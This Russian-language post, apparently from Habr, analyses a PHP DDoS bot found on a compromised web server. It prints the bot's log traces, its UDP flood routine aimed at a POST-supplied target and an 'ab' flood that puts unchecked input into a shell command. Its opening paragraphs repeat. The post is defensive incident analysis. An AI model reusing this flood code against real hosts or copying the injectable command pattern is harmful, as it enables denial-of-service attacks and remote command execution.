Разбор ситуации с Хабра.
Запустил iptraf, он показал довольно большое кол-во UDP пакетов к одному IP-адресу — "171.161.224.16", когда я его отрезолвил в dns5.bankofamerica.com: все встало на свои места, явно с сервера идет ддос.
Забанил IP в iptables. Посмотрел top, один из процессов httpd отъедал 100% cpu, натравил на него strace, увидел все тот же знакомый адрес. Так как access_log'ов на сервере нет, а в error_log'ах было пусто, то я обратился к логам прекрасного php-модуля baxtep, который пишет в лог все попытки выполнить какую-либо команду через php интерпретатор. Я сделал RPMку и всегда ставлю его на подопечные серверы, как раз на такой случай. Я невооруженным глазом определил имя искомого скрипта:
2012-01-12 22:46:33 BAXTEP: system CMDLINE: `killall -9 perl` FILE: /home/user/site/htdocs/dir/db/indx.php on line 19 URI: /dir/db/indx.php
2012-01-12 22:46:33 BAXTEP: system CMDLINE: `killall -9 perl-bin` FILE: /home/user/site/htdocs/dir/db/indx.php on line 19 URI: /dir/db/indx.php
2012-01-12 22:46:33 BAXTEP: system CMDLINE: `killall -9 perl-cgi` FILE: /home/user/site/htdocs/dir/db/indx.php on line 19 URI: /dir/db/indx.php
Анализ кода
Размер файла всего 3кб, код не сложный. Основные возможности бота:
Остановлюсь подробнее на ддосе.
Скрипт получает адрес атакуемой цели через параметр, открывает UDP-сокет и пока сокет существует шлет запросы на 11-й порт. Причем, интересно что в данных он передает свой же адрес.
Вопрос «Зачем?» не покидает мою голову уже 12 часов.
Второй метод атаки — через утилиту ab:
Причем, здесь нет проверок входящих параметров и можно выполнять произвольные команды на сервере.
Запустил iptraf, он показал довольно большое кол-во UDP пакетов к одному IP-адресу — "171.161.224.16", когда я его отрезолвил в dns5.bankofamerica.com: все встало на свои места, явно с сервера идет ддос.
Забанил IP в iptables. Посмотрел top, один из процессов httpd отъедал 100% cpu, натравил на него strace, увидел все тот же знакомый адрес. Так как access_log'ов на сервере нет, а в error_log'ах было пусто, то я обратился к логам прекрасного php-модуля baxtep, который пишет в лог все попытки выполнить какую-либо команду через php интерпретатор. Я сделал RPMку и всегда ставлю его на подопечные серверы, как раз на такой случай. Я невооруженным глазом определил имя искомого скрипта:
2012-01-12 22:46:33 BAXTEP: system CMDLINE: `killall -9 perl` FILE: /home/user/site/htdocs/dir/db/indx.php on line 19 URI: /dir/db/indx.php
2012-01-12 22:46:33 BAXTEP: system CMDLINE: `killall -9 perl-bin` FILE: /home/user/site/htdocs/dir/db/indx.php on line 19 URI: /dir/db/indx.php
2012-01-12 22:46:33 BAXTEP: system CMDLINE: `killall -9 perl-cgi` FILE: /home/user/site/htdocs/dir/db/indx.php on line 19 URI: /dir/db/indx.php
Анализ кода
Размер файла всего 3кб, код не сложный. Основные возможности бота:
- закачка файлов на сервер
- ддос большим кол-вом UDP пакетов
- ддос через утилиту ab
Остановлюсь подробнее на ддосе.
Код:
case "ust":
$page = curPageURL();
$ip = $_POST['ip'];
$port = "11";
$out = $page."\n";
$socket = stream_socket_client("udp://$ip:$port");
if ($socket) {
stream_set_write_buffer($socket, 0);
stream_socket_sendto($socket,$out);
}
fclose($socket);
break;
Код:
function curPageURL(){
$pageURL = 'http';
if ($_SERVER["HTTPS"] == "on") {
$pageURL .= "s";
}
$pageURL .= "://";
if ($_SERVER["SERVER_PORT"] != "80") {
$pageURL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
} else {
$pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
}
return $pageURL;
}
Второй метод атаки — через утилиту ab:
Код:
case "ab":
$url = $_POST['url'];
$c = $_POST['c'];
$n = $_POST['n'];
cmdexec("ab -c $c -n $n $url");
break;